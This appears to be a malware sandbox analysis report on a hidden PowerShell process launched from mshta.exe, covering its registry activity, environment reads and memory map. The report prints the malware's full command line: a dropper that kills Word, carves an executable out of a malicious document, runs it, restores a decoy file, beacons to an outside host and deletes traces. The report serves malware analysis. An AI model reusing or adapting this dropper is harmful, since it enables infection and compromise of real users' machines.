Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OAlerts	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell\PowerShell	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OAlerts	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell\PowerShell	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine	-	2	Fn
Open Key	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds	-	1	Fn
Read Value	HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine	value_name = ApplicationBase, data = 0, type = REG_SZ	1	Fn
Read Value	HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine	value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ	1	Fn
Read Value	HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Environment	value_name = PSMODULEPATH, data = 0, type = REG_EXPAND_SZ	1	Fn
Read Value	HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Environment	value_name = PSMODULEPATH, data = %SystemRoot%\system32\WindowsPowerShell\v1.0\Modules\, type = REG_EXPAND_SZ	1	Fn
Read Value	HKEY_CURRENT_USER\Environment	value_name = PSMODULEPATH, type = REG_NONE	1	Fn
Read Value	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell	value_name = path, data = 0, type = REG_SZ	2	Fn
Read Value	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell	value_name = path, data = C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, type = REG_SZ	1	Fn
Read Value	HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine	value_name = ApplicationBase, data = 0, type = REG_SZ	2	Fn
Read Value	HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine	value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ	2	Fn
Read Value	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell	value_name = path, data = 0, type = REG_SZ	2	Fn
Read Value	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell	value_name = path, data = C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, type = REG_SZ	1	Fn
Read Value	HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine	value_name = ApplicationBase, data = 0, type = REG_SZ	9	Fn
Read Value	HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine	value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ	9	Fn
Read Value	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN	value_name = StackVersion, data = 0, type = REG_SZ	1	Fn
Read Value	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN	value_name = StackVersion, data = 2.0, type = REG_SZ	1	Fn
Read Value	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN	value_name = StackVersion, data = 0, type = REG_SZ	1	Fn
Read Value	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN	value_name = StackVersion, data = 2.0, type = REG_SZ	1	Fn
Read Value	HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine	value_name = ApplicationBase, data = 0, type = REG_SZ	1	Fn
Read Value	HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine	value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ	1	Fn
Read Value	HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine	value_name = ApplicationBase, data = 0, type = REG_SZ	2	Fn
Read Value	HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine	value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ	2	Fn
Read Value	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds	value_name = PipelineMaxStackSizeMB, type = REG_NONE	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Values	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN	-	1	Fn
Enumerate Values	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN	-	1	Fn
Enumerate Values	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN	-	1	Fn
Enumerate Values	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN	-	1	Fn
Enumerate Values	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN	-	1	Fn
Enumerate Values	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN	-	1	Fn
Get Key Info	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN	-	1	Fn
Get Key Info	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN	-	1	Fn
Get Key Info	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Get Key Info	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Get Key Info	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Get Key Info	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn

Module (1)

Operation	Module	Additional Information	Success	Count	Logfile
Get Filename	-	process_name = c:\windows\system32\windowspowershell\v1.0\powershell.exe, file_name_orig = C:\Windows\SYSteM32\windowspOweRSHeLL\V1.0\PoWErSHELL.Exe, size = 2048		1	Fn

System (6)

Operation	Additional Information	Count	Logfile
Get Info	type = Operating System	4	Fn
Get Info	type = SYSTEM_PROCESS_INFORMATION	1	Fn
Get Info	type = Hardware Information	1	Fn

Environment (118)

Operation	Additional Information	Count	Logfile
Get Environment String	name = MshEnableTrace	110	Fn
Get Environment String	name = PSMODULEPATH, result_out = C:\Windows\system32\WindowsPowerShell\v1.0\Modules\	1	Fn
Get Environment String	name = HOMEDRIVE, result_out = C:	1	Fn
Get Environment String	name = HOMEPATH, result_out = \Users\aETAdzjz	1	Fn
Get Environment String	name = HomeDrive, result_out = C:	1	Fn
Get Environment String	name = HomePath, result_out = \Users\aETAdzjz	1	Fn
Get Environment String	name = APPDATA, result_out = C:\Users\aETAdzjz\AppData\Roaming	2	Fn
Set Environment String	name = PSMODULEPATH, value = C:\Users\aETAdzjz\Documents\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules\	1	Fn

Process #9: powershell.exe

(Host: 2811, Network: 0)

Information	Value
ID	#9
File Name	c:\windows\system32\windowspowershell\v1.0\powershell.exe
Command Line	"C:\Windows\SYSteM32\windowspOweRSHeLL\V1.0\PoWErSHELL.Exe" -WindowStyle Hidden Try{$ada="""$env:APPDATA\result.exe""";$adax=$ada+'x';$f=[System.IO.File]::Create($adax);$tmf="""$env:TEMP\o.tmp""";taskkill /f /im winword.exe;Function pr{Try{$k="""HKCU:\Software\Microsoft\Office\$wv\Word\Resiliency\StartupItems\""";for ($i = 0; $i -lt 10; $i++){$r=[System.Text.Encoding]::Unicode.GetString((gp $k).((gi $k).Property[$i]));if ($r.Contains('.doc')){$i=10;}}$r=$r.Substring($r.indexOf(':\')-1);$r=$r.Substring(0, $r.IndexOf('.doc')+4);ri -Path """HKCU:\Software\Microsoft\Office\$wv\Word\Resiliency""" -recurse;cp -Path $r -Destination $tmf;$d = (gc $tmf -ReadCount 0 -encoding byte)[985480..1011591];Start-Sleep -s 1;sc $r -encoding byte -Value $d;start winword """$r""";$f = (gc $tmf -ReadCount 0 -encoding byte)[420737..985472];sc $ada -encoding byte -Value $f;& $ada;$wc = New-Object system.Net.WebClient;$ht=$wc.downloadString('http://www.samyrai777m.p-host.in/t/t.php?act=hit');$cd=(Resolve-Path .\).Path;ri """$cd\""" -include http.pdb, http.dll, .cs;}Catch{}};$wv='12.0';pr;$wv='14.0';pr;$wv='15.0';pr;$wv='16.0';pr;Stop-Process -processname powershell;}Catch{exit;}
Initial Working Directory	C:\Users\aETAdzjz\Desktop\
Monitor	Start Time: 00:01:07, Reason: Child Process
Unmonitor	End Time: 00:02:36, Reason: Terminated by Timeout
Monitor Duration	00:01:29

OS Process Information

Information	Value
PID	0x2ac
Parent PID	0xbc0 (c:\windows\system32\mshta.exe)
Is Created or Modified Executable
Integrity Level	Medium
Username	YKYD69Q\aETAdzjz
Groups	YKYD69Q\Domain Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED) Everyone (MANDATORY, ENABLED_BY_DEFAULT, ENABLED) BUILTIN\Administrators (USE_FOR_DENY_ONLY) BUILTIN\Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED) NT AUTHORITY\INTERACTIVE (MANDATORY, ENABLED_BY_DEFAULT, ENABLED) CONSOLE LOGON (MANDATORY, ENABLED_BY_DEFAULT, ENABLED) NT AUTHORITY\Authenticated Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED) NT AUTHORITY\This Organization (MANDATORY, ENABLED_BY_DEFAULT, ENABLED) NT AUTHORITY\Logon Session 00000000:00010989 (MANDATORY, ENABLED_BY_DEFAULT, ENABLED, LOGON_ID) LOCAL (MANDATORY, ENABLED_BY_DEFAULT, ENABLED) NT AUTHORITY\NTLM Authentication (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
Enabled Privileges	SeChangeNotifyPrivilege
Thread IDs	0x 658 0x A0C 0x A14 0x 9A8 0x A48 0x A58 0x 9AC

Region

Name	Start VA	End VA	Type	Permissions	Actions
private_0x0000000000010000	0x00010000	0x0002ffff	Private Memory	Readable, Writable	Region Actions Download Dump
pagefile_0x0000000000010000	0x00010000	0x0001ffff	Pagefile Backed Memory	Readable, Writable	Region Actions
pagefile_0x0000000000020000	0x00020000	0x0002ffff	Pagefile Backed Memory	Readable, Writable	Region Actions
pagefile_0x0000000000030000	0x00030000	0x00033fff	Pagefile Backed Memory	Readable	Region Actions
pagefile_0x0000000000040000	0x00040000	0x00040fff	Pagefile Backed Memory	Readable	Region Actions
locale.nls	0x00050000	0x000b6fff	Memory Mapped File	Readable	Region Actions
pagefile_0x00000000000c0000	0x000c0000	0x000c6fff	Pagefile Backed Memory	Readable	Region Actions
pagefile_0x00000000000d0000	0x000d0000	0x000d1fff	Pagefile Backed Memory	Readable, Writable	Region Actions
powershell.exe.mui	0x000e0000	0x000e2fff	Memory Mapped File	Readable, Writable	Region Actions
private_0x00000000000f0000	0x000f0000	0x0016ffff	Private Memory	Readable, Writable	Region Actions
private_0x0000000000170000	0x00170000	0x00170fff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x0000000000180000	0x00180000	0x00180fff	Private Memory	Readable, Writable	Region Actions Download Dump
pagefile_0x0000000000190000	0x00190000	0x00190fff	Pagefile Backed Memory	Readable	Region Actions
pagefile_0x00000000001a0000	0x001a0000	0x001a0fff	Pagefile Backed Memory	Readable	Region Actions
pagefile_0x00000000001b0000	0x001b0000	0x001b1fff	Pagefile Backed Memory	Readable	Region Actions
pagefile_0x00000000001c0000	0x001c0000	0x001c0fff	Pagefile Backed Memory	Readable, Writable	Region Actions
private_0x00000000001d0000	0x001d0000	0x001dffff	Private Memory	Readable, Writable	Region Actions Download Dump
pagefile_0x00000000001e0000	0x001e0000	0x001e1fff	Pagefile Backed Memory	Readable	Region Actions
cversions.2.db	0x001f0000	0x001f3fff	Memory Mapped File	Readable	Region Actions
private_0x0000000000200000	0x00200000	0x0020ffff	Private Memory	Readable, Writable	Region Actions Download Dump
pagefile_0x0000000000210000	0x00210000	0x00210fff	Pagefile Backed Memory	Readable, Writable	Region Actions
private_0x0000000000220000	0x00220000	0x0031ffff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x0000000000320000	0x00320000	0x0041ffff	Private Memory	Readable, Writable	Region Actions Download Dump
pagefile_0x0000000000420000	0x00420000	0x005a7fff	Pagefile Backed Memory	Readable	Region Actions
pagefile_0x00000000005b0000	0x005b0000	0x00730fff	Pagefile Backed Memory	Readable	Region Actions
pagefile_0x0000000000740000	0x00740000	0x01b3ffff	Pagefile Backed Memory	Readable	Region Actions
private_0x0000000001b40000	0x01b40000	0x01c3ffff	Private Memory	Readable, Writable	Region Actions Download Dump
{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000011.db	0x01c40000	0x01c5efff	Memory Mapped File	Readable	Region Actions
{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000018.db	0x01c60000	0x01c8ffff	Memory Mapped File	Readable	Region Actions
cversions.2.db	0x01c90000	0x01c93fff	Memory Mapped File	Readable	Region Actions
pagefile_0x0000000001ca0000	0x01ca0000	0x01ca0fff	Pagefile Backed Memory	Readable	Region Actions
pagefile_0x0000000001cb0000	0x01cb0000	0x01cb2fff	Pagefile Backed Memory	Readable, Writable	Region Actions
pagefile_0x0000000001cc0000	0x01cc0000	0x01cc0fff	Pagefile Backed Memory	Readable, Writable	Region Actions
private_0x0000000001cd0000	0x01cd0000	0x01cdffff	Private Memory	Readable, Writable	Region Actions Download Dump
l_intl.nls	0x01ce0000	0x01ce2fff	Memory Mapped File	Readable	Region Actions
private_0x0000000001cf0000	0x01cf0000	0x01d6ffff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x0000000001d70000	0x01d70000	0x01d70fff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x0000000001d80000	0x01d80000	0x01d9ffff	Private Memory	-	Region Actions Download Dump
private_0x0000000001da0000	0x01da0000	0x01e1ffff	Private Memory	Readable, Writable, Executable	Region Actions Download Dump
pagefile_0x0000000001e20000	0x01e20000	0x01efefff	Pagefile Backed Memory	Readable	Region Actions
sortdefault.nls	0x01f00000	0x021cefff	Memory Mapped File	Readable	Region Actions
{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db	0x021d0000	0x02235fff	Memory Mapped File	Readable	Region Actions
sorttbls.nlp	0x02240000	0x02244fff	Memory Mapped File	Readable	Region Actions
sortkey.nlp	0x02250000	0x02290fff	Memory Mapped File	Readable	Region Actions
microsoft.wsman.runtime.dll	0x022a0000	0x022a7fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
private_0x00000000022b0000	0x022b0000	0x0232ffff	Private Memory	Readable, Writable	Region Actions
pagefile_0x0000000002330000	0x02330000	0x02722fff	Pagefile Backed Memory	Readable	Region Actions
pagefile_0x0000000002730000	0x02730000	0x02730fff	Pagefile Backed Memory	Readable	Region Actions
pagefile_0x0000000002740000	0x02740000	0x02740fff	Pagefile Backed Memory	Readable	Region Actions
pagefile_0x0000000002740000	0x02740000	0x02750fff	Pagefile Backed Memory	Readable	Region Actions
private_0x0000000002780000	0x02780000	0x027fffff	Private Memory	Readable, Writable	Region Actions
mscorrc.dll	0x02800000	0x02853fff	Memory Mapped File	Readable	Region Actions
private_0x0000000002880000	0x02880000	0x028fffff	Private Memory	Readable, Writable	Region Actions
kernelbase.dll.mui	0x02900000	0x029bffff	Memory Mapped File	Readable, Writable	Region Actions
private_0x00000000029e0000	0x029e0000	0x029effff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x0000000002a10000	0x02a10000	0x02a8ffff	Private Memory	Readable, Writable	Region Actions
private_0x0000000002ae0000	0x02ae0000	0x02b5ffff	Private Memory	Readable, Writable, Executable	Region Actions Download Dump
private_0x0000000002b60000	0x02b60000	0x02c5ffff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x0000000002ca0000	0x02ca0000	0x02d1ffff	Private Memory	Readable, Writable	Region Actions
private_0x0000000002d20000	0x02d20000	0x1ad1ffff	Private Memory	Readable, Writable	Region Actions
private_0x000000001ad20000	0x1ad20000	0x1b3effff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x000000001b3f0000	0x1b3f0000	0x1b4f0fff	Private Memory	Readable, Writable	Region Actions Download Dump
system.management.automation.dll	0x1b500000	0x1b7e1fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
private_0x000000001b7f0000	0x1b7f0000	0x1b8effff	Private Memory	Readable, Writable	Region Actions Download Dump
system.transactions.dll	0x1e230000	0x1e278fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
msvcr80.dll	0x75360000	0x75428fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
user32.dll	0x775e0000	0x776d9fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
kernel32.dll	0x776e0000	0x777fefff	Memory Mapped File	Readable, Writable, Executable	Region Actions
ntdll.dll	0x77800000	0x779a8fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
psapi.dll	0x779d0000	0x779d6fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
private_0x000000007efe0000	0x7efe0000	0x7ffdffff	Private Memory	Readable	Region Actions
pagefile_0x000000007efe0000	0x7efe0000	0x7f0dffff	Pagefile Backed Memory	Readable	Region Actions
private_0x000000007f0e0000	0x7f0e0000	0x7ffdffff	Private Memory	Readable	Region Actions
private_0x000000007ffe0000	0x7ffe0000	0x7ffeffff	Private Memory	Readable	Region Actions Download Dump
powershell.exe	0x13f630000	0x13f6a6fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
culture.dll	0x642ff4a0000	0x642ff4a9fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
system.directoryservices.ni.dll	0x7fede4e0000	0x7fede674fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
system.management.ni.dll	0x7fede680000	0x7fede7ebfff	Memory Mapped File	Readable, Writable, Executable	Region Actions
microsoft.powershell.security.ni.dll	0x7fedea50000	0x7fedea8dfff	Memory Mapped File	Readable, Writable, Executable	Region Actions
microsoft.powershell.commands.management.ni.dll	0x7fedeb40000	0x7fedec57fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
microsoft.powershell.commands.utility.ni.dll	0x7fedec60000	0x7fedee75fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
system.transactions.ni.dll	0x7fedee80000	0x7fedef64fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
microsoft.wsman.management.ni.dll	0x7fedef70000	0x7fedf019fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
system.configuration.install.ni.dll	0x7fedf020000	0x7fedf051fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
microsoft.powershell.commands.diagnostics.ni.dll	0x7fedf060000	0x7fedf0c8fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
system.core.ni.dll	0x7fedf0d0000	0x7fedf3fdfff	Memory Mapped File	Readable, Writable, Executable	Region Actions
system.management.automation.ni.dll	0x7fedf470000	0x7fedffccfff	Memory Mapped File	Readable, Writable, Executable	Region Actions
microsoft.powershell.consolehost.ni.dll	0x7fee0230000	0x7fee02e1fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
system.xml.ni.dll	0x7fee1530000	0x7fee1bd4fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
system.ni.dll	0x7fee1fc0000	0x7fee29e2fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
mscorlib.ni.dll	0x7fee29f0000	0x7fee38cbfff	Memory Mapped File	Readable, Writable, Executable	Region Actions
mscorwks.dll	0x7fee38d0000	0x7fee426cfff	Memory Mapped File	Readable, Writable, Executable	Region Actions
mscoreei.dll	0x7fef13f0000	0x7fef1488fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
mscoree.dll	0x7fef1910000	0x7fef197efff	Memory Mapped File	Readable, Writable, Executable	Region Actions
shfolder.dll	0x7fef1ae0000	0x7fef1ae6fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
linkinfo.dll	0x7fef6190000	0x7fef619bfff	Memory Mapped File	Readable, Writable, Executable	Region Actions
shdocvw.dll	0x7fef61a0000	0x7fef61d3fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
ntshrui.dll	0x7fef7b70000	0x7fef7beffff	Memory Mapped File	Readable, Writable, Executable	Region Actions
cscapi.dll	0x7fef7bf0000	0x7fef7bfefff	Memory Mapped File	Readable, Writable, Executable	Region Actions
apphelp.dll	0x7fef91c0000	0x7fef9216fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
uxtheme.dll	0x7fefb560000	0x7fefb5b5fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
slc.dll	0x7fefbee0000	0x7fefbeeafff	Memory Mapped File	Readable, Writable, Executable	Region Actions
atl.dll	0x7fefbf10000	0x7fefbf28fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
comctl32.dll	0x7fefc060000	0x7fefc253fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
propsys.dll	0x7fefc4e0000	0x7fefc60bfff	Memory Mapped File	Readable, Writable, Executable	Region Actions
ntmarta.dll	0x7fefc740000	0x7fefc76cfff	Memory Mapped File	Readable, Writable, Executable	Region Actions
version.dll	0x7fefc910000	0x7fefc91bfff	Memory Mapped File	Readable, Writable, Executable	Region Actions
userenv.dll	0x7fefcaf0000	0x7fefcb0dfff	Memory Mapped File	Readable, Writable, Executable	Region Actions
rsaenh.dll	0x7fefcd40000	0x7fefcd86fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
cryptsp.dll	0x7fefd040000	0x7fefd056fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
srvcli.dll	0x7fefd540000	0x7fefd562fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
cryptbase.dll	0x7fefd640000	0x7fefd64efff	Memory Mapped File	Readable, Writable, Executable	Region Actions
profapi.dll	0x7fefd750000	0x7fefd75efff	Memory Mapped File	Readable, Writable, Executable	Region Actions
devobj.dll	0x7fefd9b0000	0x7fefd9c9fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
kernelbase.dll	0x7fefd9d0000	0x7fefda3afff	Memory Mapped File	Readable, Writable, Executable	Region Actions
cfgmgr32.dll	0x7fefda40000	0x7fefda75fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
imm32.dll	0x7fefdb40000	0x7fefdb6dfff	Memory Mapped File	Readable, Writable, Executable	Region Actions
setupapi.dll	0x7fefdb70000	0x7fefdd46fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
msvcrt.dll	0x7fefdd50000	0x7fefddeefff	Memory Mapped File	Readable, Writable, Executable	Region Actions
oleaut32.dll	0x7fefde70000	0x7fefdf46fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
lpk.dll	0x7fefdf50000	0x7fefdf5dfff	Memory Mapped File	Readable, Writable, Executable	Region Actions
ole32.dll	0x7fefe1c0000	0x7fefe3c2fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
clbcatq.dll	0x7fefe550000	0x7fefe5e8fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
rpcrt4.dll	0x7fefe640000	0x7fefe76cfff	Memory Mapped File	Readable, Writable, Executable	Region Actions
shlwapi.dll	0x7fefe770000	0x7fefe7e0fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
wldap32.dll	0x7fefe7f0000	0x7fefe841fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
shell32.dll	0x7fefe850000	0x7feff5d7fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
msctf.dll	0x7feff710000	0x7feff818fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
sechost.dll	0x7feff8c0000	0x7feff8defff	Memory Mapped File	Readable, Writable, Executable	Region Actions
